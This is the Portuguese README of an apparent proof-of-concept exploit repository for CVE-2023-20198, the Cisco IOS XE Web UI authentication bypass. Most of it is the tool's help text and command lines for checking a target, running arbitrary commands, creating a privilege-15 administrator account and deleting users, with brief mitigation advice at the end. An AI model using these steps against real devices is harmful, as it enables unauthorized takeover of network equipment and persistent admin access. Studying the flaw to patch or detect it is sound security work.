
Exploit de prova de conceito para CVE-2023-20198, uma vulnerabilidade de bypass de autenticação que afeta o Cisco IOS XE Web UI
Este repositório contém um exploit de prova de conceito para a CVE-2023-20198, uma vulnerabilidade de bypass de autenticação que afeta a Web UI do Cisco IOS XE.
A vulnerabilidade permite que atacantes não autenticados executem comandos arbitrários em dispositivos Cisco vulneráveis por meio de requisições SOAP maliciosas, podendo levar ao comprometimento total do dispositivo, incluindo execução remota de comandos e criação/exclusão de usuários administrativos.
CVE: CVE-2023-20198
Produto Afetado: Cisco IOS XE (Web UI / Interface WSMA)
Impacto:
Vetor de Ataque: Rede (HTTP/HTTPS)
Privilégios Necessários: Nenhum (não autenticado)
Essa vulnerabilidade é causada pelo tratamento inadequado de autenticação no endpoint do Web Services Management Agent (WSMA), permitindo que atacantes contornem a autenticação usando requisições HTTP maliciosas.
requestscoloramaInstale as dependências:
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Cisco IOS XE Device
-c, --check Check if the Target is vulnerable to CVE-2023-20198
-C CMD, --cmd CMD Cisco IOS XE Command to Execute
-a, --add Add New Username and Password
-d, --delete Delete existing User
-u USERNAME, --username USERNAME
Username for Account Creation
-p PASSWORD, --password PASSWORD
Password for Account Creation (Random Password Generated if not Provided)

Verifique se o alvo é vulnerável:
python3 exploit.py -t https://<TARGET-IP> -c

Se vulnerável, a ferramenta detectará automaticamente o endpoint WSMA explorável e exibirá detalhes do dispositivo.
Execute comandos no dispositivo vulnerável:
python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"
Exemplo:
python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

Crie um novo usuário administrador com privilégio 15:
python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

Se nenhuma senha for fornecida, o script gera uma senha segura aleatória automaticamente.
Com a conta recém-criada, você pode acessar a Interface Web do dispositivo

Exclua um usuário existente:
python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Atualize o Cisco IOS XE para a versão corrigida mais recente
Desative a Interface Web se não for necessária:
no ip http server
no ip http secure-server
Restrinja o acesso de gerenciamento por meio de ACLs
| Opção | Descrição |
|---|
-t, --target | Dispositivo Cisco IOS XE alvo (Obrigatório) |
-c, --check | Verifica se o alvo é vulnerável |
-C, --cmd | Executa um comando Cisco IOS XE |
-a, --add | Adiciona um novo usuário administrativo |
-d, --delete | Exclui um usuário existente |
-u, --username | Nome de usuário para criação/exclusão de conta |
-p, --password | Senha para nova conta (aleatória se não for fornecida) |